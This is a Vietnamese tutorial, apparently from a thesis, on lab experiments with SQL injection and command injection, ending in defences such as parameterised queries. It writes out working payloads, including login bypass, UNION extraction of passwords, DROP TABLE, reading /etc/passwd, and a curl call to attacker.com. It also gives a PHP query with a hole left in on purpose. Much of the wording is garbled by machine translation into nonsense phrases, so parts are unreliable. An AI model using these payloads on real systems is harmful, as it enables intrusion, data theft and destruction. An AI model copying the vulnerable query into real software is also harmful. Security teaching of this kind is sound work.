Để ngăn chặn các cuộc tấn công tìm kiếm, các nhà phát triển và quản lý hệ thống cần làm sạch và kiểm tra dữ liệu đầu vào ngay từ đầu Việc áp dụng các biện pháp bảo mật hiện đại là rất quan trọng.
- Công cụ và nền tảng cần thiết:
Máy ảo hoặc môi trường cách ly (sandbox) để thực hiện thử nghiệm một cách an toàn
Hệ quản trị cơ sở dữ liệu phổ biến (MySQL, PostgreSQL, v.v.) cho SQL Injection
Hệ điều hành hỗ trợ lệnh dòng (Linux, Windows) để thử nghiệm Command Injection
- Công cụ bảo mật: Wireshark, Burp Suite, hoặc OWASP ZAP để phân tích
Tạo một ứng dụng web đơn giản có các trường đầu vào dễ bị tấn công
Cài đặt hệ thống giám sát để theo dõi quá trình tấn công và đánh giá ảnh hưởng.
Các bước thực nghiệm SQL Inj
Phát hiện lỗ hổng: Thử nghiệm chèn đầu vào đặc biệt như `' OR '1'='1` hoặc các chuỗi có ký tự đặc biệt để kiểm tra phản hồi của hệ thống
Khai thác lỗ hổng bảo mật bằng phương pháp Blind SQL Injection cho phép kiểm tra tính đúng/sai của câu truy vấn để thu thập dữ liệu từng bước Đồng thời, sử dụng Union-based SQL Injection giúp kết hợp nhiều bảng và truy xuất thông tin một cách hiệu quả.
Ghi nhận kết quả: Ghi nhận các dữ liệu bị lộ và đánh giá mức độ thiệt hại tiềm năng
Các bước thực nghiệm Command Injection:
Phát hiện lỗ hổng: Thử nhập các lệnh như `; ls` hoặc `&& whoami` vào trường đầu vào của ứng dụng để kiểm tra phản hồi
- Chạy các lệnh hệ thống không được kiểm soát, ví dụ: xem danh sách tệp hoặc truy xuất thông tin hệ điều hành
Ghi nhận kết quả: Đánh giá mức độ truy cập hệ thống đạt được và tác động lên dữ liệu, hệ thống.
Đánh giá và phân tích
+ So sánh kết quả thực nghiệm từ SQL Injection và Command Injection để nhận ra đặc điểm và mức độ nghiêm trọng của từng loại tấn công
+ Đánh giá tính hiệu quả của các biện pháp phòng ngừa được triển khai trước hoặc sau khi thực nghiệm.
Lưu ý về đạo đức
Thực nghiệm cần được thực hiện trong môi trường an toàn và với sự đồng ý của tất cả các bên liên quan Mọi hành vi thực nghiệm nhằm mục đích xâm phạm hoặc phá hoại hệ thống đều vi phạm đạo đức và pháp luật.
Thực nghiệm SQL injection và command injection
Để thực hiện thí nghiệm về SQL injection, cần một môi trường an toàn và được kiểm soát, chẳng hạn như máy ảo hoặc các công cụ mô phỏng, nhằm tránh gây hại cho hệ thống thực tế Các bước phổ biến để nghiên cứu và thực nghiệm bao gồm việc thiết lập môi trường, thực hiện các truy vấn SQL độc hại và phân tích kết quả.
Chuẩn bị môi trường thử nghiệm bằng cách sử dụng Docker hoặc máy ảo để thiết lập cơ sở dữ liệu và ứng dụng web Cài đặt các công cụ như SQLmap và Burp Suite, hoặc một ứng dụng đơn giản với cơ sở dữ liệu SQL Xây dựng một ứng dụng web giả lập có điểm yếu trong việc xử lý dữ liệu đầu vào của người dùng, chẳng hạn như không xác thực thông tin đăng nhập Thực hiện truy vấn trực tiếp vào cơ sở dữ liệu mà không sử dụng truy vấn số hóa Khai thác SQL Injection bằng cách thử nghiệm với các payload phổ biến.
' OR '1'='1' (bỏ qua thông tin đăng nhập xác thực )
UNION SELECT (lấy dữ liệu từ bảng khác)
Kiểm tra các loại SQL Tiêm như Blind SQL và SQL dựa trên lỗi là rất quan trọng Quan sát kết quả phản hồi từ việc theo dõi sự thay đổi trong cơ sở dữ liệu hoặc phản hồi từ ứng dụng giúp phát hiện lỗ hổng Ghi lại cách xử lý cơ sở dữ liệu đối với các mối đe dọa độc hại là cần thiết để bảo vệ hệ thống.
Phòng chăm sóc xác định giải pháp phòng ngủ miễn phí thông qua việc sử dụng truy vấn tham số hóa, kiểm tra đầu vào dữ liệu và công cụ phát hiện tấn công Thực nghiệm này nhằm mục đích hiểu rõ hơn về lỗ hổng bảo mật và các biện pháp phòng chống hiệu quả.
Thực nghiệm về lệnh tiêm command injection cần được tiến hành trong môi trường thử nghiệm an toàn và được kiểm soát chặt chẽ để tránh những tổn hại không mong muốn Dưới đây là một số mẹo hữu ích cho những ai muốn nghiên cứu về vấn đề này.
Sử dụng máy ảo hoặc container như Docker để tạo môi trường an toàn cho ứng dụng web Cài đặt một ứng dụng web mô phỏng có lỗi Command Insert, chẳng hạn như các môi trường OWASP Juice Shop hoặc DVWA (Damn Vulnerable Web Application).
Tạo một đoạn mã lỗi bằng cách viết một tập lệnh hoặc sử dụng ứng dụng web nhỏ để thực thi các lệnh hệ thống thông qua hàm `system()` hoặc `exec()` mà không kiểm tra đầu vào.
Ví dụ: Một biểu mẫu web cho phép người dùng nhập lệnh để thực thi nhưng pingkhông giới hạn dữ liệu đầu vào
Khai thác lệnh tiêm Nhập tải trọng độc hại vào các trường đầu vào:
Ví dụ, sử dụng địa chỉ IP 127.0.0.1 với lệnh "ls" hoặc "cat /etc/passwd" có thể dẫn đến việc thực hiện các lệnh không mong muốn Cần khảo sát cách hệ thống xử lý và xác định rõ các lệnh đã được thực hiện.
Phân tích kết quả ghi nhận thông tin từ các lệnh thực thi giúp xem xét danh sách tệp hoặc hệ thống cấu trúc Qua đó, ta có thể hiểu cách sử dụng tiếp theo và xử lý dữ liệu không đáng tin cậy một cách hiệu quả.
Học cách phòng tránh các mối đe dọa trong Thực nghiệm cần chú trọng vào việc phát triển các biện pháp an ninh cho Phân tích Command Tiêm Cần sử dụng các phương pháp an toàn như tham số hóa và kiểm tra, lọc, xác thực đầu vào của người dùng thông qua subprocess.run() Điều này giúp đảm bảo quyền hạn hệ thống được bảo vệ hiệu quả.
Có chế độ truy cập hệ thống quyền cho ứng dụng
Tuân thủ quy định pháp luật là rất quan trọng khi thực hiện thử nghiệm Chỉ nên tiến hành thử nghiệm trên những môi trường mà bạn sở hữu hoặc đã được cấp phép sử dụng Việc thử nghiệm trên hệ thống của người khác mà không có sự cho phép có thể bị coi là vi phạm pháp luật.
3.7.1 Chuẩn bị môi trường structured query language injection, command injection:
Thiết lập môi trường thử nghiệm an toàn
Máy ảo (Virtual Machine)Ứng dụng Máy ảo ( Máy ảo): Sử dụng các nền tảng như
Sử dụng VirtualBox hoặc VMware để tạo môi trường thử nghiệm cho hệ thống thực tế Thiết lập web và cơ sở dữ liệu cho ứng dụng mô phỏng vùng chứa là bước quan trọng Ngoài ra, cài đặt các ứng dụng hoặc framework có lỗi cũng là một công cụ chuyên sâu cần thiết.
Cửa hàng nước ép OWASP
DVWA (Ứng dụng web dễ bị tấn công) web )](httpbWAPP (Ứng dụng web lỗi)
Cài đặt cơ sở dữ liệu
Sử dụng các hệ quản trị cơ sở dữ liệu phổ biến như MySQL, PostgreSQL hoặc SQLite để tạo một mẫu cơ sở dữ liệu đơn giản với các bảng dễ dàng cho việc thử nghiệm.
CREATE TABLE users ( id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(50), password VARCHAR(50)
INSERT INTO users (username, password) VALUES ('admin', 'password123');Xây dựng ứng dụng dễ hiểu
Xây dựng một ứng dụng web sử dụng ngôn ngữ PHP, Python hoặc Node.js có thể gặp phải lỗi trong quá trình xử lý truy vấn SQL Đặc biệt, khi sử dụng PHP, cần chú ý đến các vấn đề bảo mật và hiệu suất để đảm bảo ứng dụng hoạt động ổn định và an toàn.
// Ví dụ PHP: Lỗ hổng SQL Injection
$query = "SELECT * FROM users WHERE username = '$username'";
$result = mysqli_query($conn, $query);
SQLmap là một công cụ tự động giúp kiểm tra và khai thác lỗ hổng SQL Nó hỗ trợ phân tích và chỉnh sửa các yêu cầu HTTP trong quá trình thử nghiệm.
Kỹ thuật blind structured query language injection
SQL Insert là một kỹ thuật tấn công mà kẻ tấn công không thể thấy trực tiếp kết quả của truy vấn SQL độc hại, nhưng có thể suy luận thông tin từ phản hồi của ứng dụng Các kỹ thuật phổ biến trong loại tấn công này bao gồm việc khai thác các lỗ hổng trong ứng dụng để chèn mã SQL độc hại.
Tiêm SQL mù dựa trên Boolean
Nguyên lýSQL để xác định thông tin: Dựa vào các điều kiện đúng hoặc sai trong câu lệnh SQL để xác định thông tin
Ví dụ : Người dùng nhập: lệnh
Nếu kết quả trả về khác biệt khi điều kiện đúng/sai, kẻ tấn công có thể suy luận thông tin trong cơ sở dữ liệu
Tiêm SQL mù dựa trên thời gian
Nguyên lýgây ra (delay), như , để xác định truy : Sử dụng lệnh gây ra ( delay ), như , để xác định truy vấn SQL có hoạt động hay không SLEEP()
Nếu phản hồi chậm hơn dự kiến , kẻ tấn công có thể xác nhận điều kiện
Kẻ tấn công thực hiện nhiều truy vấn để thu thập thông tin từ cơ sở dữ liệu mà không cần nhận kết quả ngay lập tức Họ có thể kiểm tra từng ký tự của một giá trị trong cơ sở dữ liệu và xác định phản hồi đúng hoặc sai từ hệ thống.
Kỹ thuật Blind SQL Injection thường khó phát hiện vì không có phản hồi rõ ràng từ ứng dụng Tuy nhiên, nhờ vào các công cụ tự động như SQLmap, quá trình khai thác lỗ hổng này có thể trở nên dễ dàng hơn.
Kết quả thực nghiệm
Việc thực thi SQL Tiêm cần được thực hiện trong môi trường an toàn và có kiểm soát, do đó, kết quả thường phụ thuộc vào việc thử nghiệm cấu hình môi trường Dưới đây là những kết quả phổ biến mà bạn có thể nhận được khi thực hiện thử nghiệm này.
Truy cập trái phép vào hệ thống
Kẻ tấn công có thể đăng nhập vào tài khoản quản trị mà không cần mật khẩu nếu hệ thống dễ bị tấn công Ví dụ:
Kết quả: Bỏ qua xác thực và đăng nhập thành công
Cảm biến dữ liệu xuất ra
Kẻ tấn công có thể trích xuất dữ liệu từ cơ sở dữ liệu bảng Ví dụ:
Tải trọng:'; UNION SELECT username, password FROM users
Hiển thị tên người dùng và mật khẩu từ bảng users
Cơ sở dữ liệu cấu hình 3 Cơ sở dữ liệu cấu hình Rò rỉ
( tênLợi ích ứng dụng lỗi để biết cơ sở dữ liệu cấu hình ( bảng tên, cột tên ) Ví dụ:
Tải trọng:' AND 1=CONVERT(int, (SELECT TABLE_NAME FROM
Kết quả: Rò rỉ thông tin về cơ sở dữ liệu cấu trúc
Thay đổi hoặc xóa dữ liệu
Một truy vấn độc hại có thể thay đổi hoặc xóa dữ liệu quan trọng Ví dụ:
Tải trọng:'; DROP TABLE users
Kết quả: Bảng users bị xóa nếu không có cơ chế bảo vệ
Thử nghiệm không thành công
Nếu hệ thống được trang bị các dung dịch phòng vệ sinh hiệu quả như truy vấn số hóa hoặc dữ liệu đầu vào, thì ổ bụng sẽ không thể bị khai thác.
Kết quả thực thi sẽ khác nhau tùy thuộc vào môi trường thử nghiệm cụ thể
Quan trọng: Chỉ thực hiện thử nghiệm này trên quyền sở hữu hệ thống của bạn hoặc được phép rõ ràng
Thực hiện hệ thống lệnh thành công
Nếu ứng dụng dễ bị tổn thương , các lệnh tấn công chèn vào sẽ được thực hiện
Kết quả: Ứng dụng trả về danh sách tệp trong hiện tại thư mục
Trong trường hợp sử dụng kỹ thuật Time -Based Command Insertmột phản hồi khác, kẻ tấn công có thể nhận được phản hồi thời gian khác nhau
Kết quả: Ứng dụng mất thêm 5 giây để phản hồi, lệnh đã được thực thi bằng chứng sleep Tạo hoặc chỉnh sửa tệp tệp
Kẻ tấn công có thể tạo, sửa đổi hoặc xóa tệp trong hệ thống nếu lệnh được thực hiện thành công
Tải trọng:127.0.0.1 && touch /tmp/testfile
Kết quả : Tệp được testfile tạo trong thư mục /tmp
Kết nối mạng hoặc gửi yêu cầuKẻ tấn công có thể thực thi các mạng kết nối lệnh để gửi dữ liệu đến bên ngoài máy chủ
Tải trọng:127.0.0.1 && curl http://attacker.com
Kết quả : Hệ thống gửi yêu cầu đến trang web tấn công kiểm soát
Phản hồi không thành công
Nếu ứng dụng đã phát triển các biện pháp bảo mật như lọc đầu vào hoặc hạn chế quyền truy cập, kho sẽ không được khai thác thác
Ví dụ lệnh độc hại: Lệnh độc hại đã bị từ chối và không có thay đổi nào xảy ra trong hệ thống
Chỉ thực nghiệm trên môi trường hoàn toàn mà bạn sở hữu hoặc được phép sử dụng
Việc thực hiện nhắm mục tiêu học tập và cải thiện bảo mật, không thể sử dụng với ý định xấu.